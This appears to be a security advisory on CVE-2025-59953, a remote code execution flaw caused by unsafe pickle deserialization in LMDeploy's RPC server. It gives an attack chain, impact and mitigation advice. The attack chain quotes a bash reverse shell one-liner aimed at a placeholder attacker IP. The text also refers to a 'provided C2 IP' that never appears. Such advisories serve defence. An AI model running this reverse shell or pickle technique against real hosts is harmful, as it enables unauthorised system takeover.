Remote Code Execution in LMDeploy via Insecure Pickle Deserialization

LMDeploy, a toolkit for compressing and deploying Large Language Models, contains a critical remote code execution vulnerability (CVE-2025-59953) affecting versions 0.9.1 through 0.10.1. The vulnerability exists within the AsyncRPCServer component, which implements an RPC mechanism using ZMQ. The server uses pickle.loads() to deserialize incoming RPC messages without sanitization. Because versions prior to 0.10.2 bound the RPC service to all network interfaces (tcp://*), a remote attacker capable of reaching the randomly assigned RPC port can submit a malicious pickle payload. Successful exploitation results in arbitrary command execution on the host machine. Version 0.10.2 addressed the remote exposure by defaulting the RPC server binding to localhost, though the underlying use of insecure pickle deserialization remains, requiring local security isolation.

Attack Chain

1. Attacker performs network reconnaissance to identify reachable LMDeploy RPC service ports on the target machine.
2. Attacker crafts a malicious pickle payload containing an arbitrary system command, such as a reverse shell trigger (e.g., bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1').
3. Attacker initiates a ZMQ connection to the target RPC service port.
4. Attacker sends the crafted pickle-encoded data via the call_and_response() function interface.
5. The AsyncRPCServer receives the payload and passes it directly to pickle.loads().
6. The Python interpreter deserializes the malicious object, triggering the execution of the embedded system command.
7. Attacker receives the reverse shell connection, granting full command execution capabilities on the host.

Impact

The vulnerability allows unauthenticated remote attackers to achieve full system compromise. If the LMDeploy service is running with elevated privileges, the impact includes total control over the host machine, potential lateral movement within the network, and data exfiltration. The threat is critical for organizations deploying LMDeploy in production environments where the RPC service was inadvertently exposed to broader networks.

Recommendation

1. Upgrade all instances of LMDeploy to version 0.10.2 or later to address the remote exposure issue.
2. For environments where upgrading is not immediately possible, implement firewall rules to restrict access to the RPC ports to authorized local processes only.
3. If LMDeploy is required to interact across network boundaries, implement external authentication and encryption layers, as the current RPC protocol lacks native access control.
4. Perform a threat hunt for unexpected network connections to LMDeploy processes using the provided C2 IP as a starting point.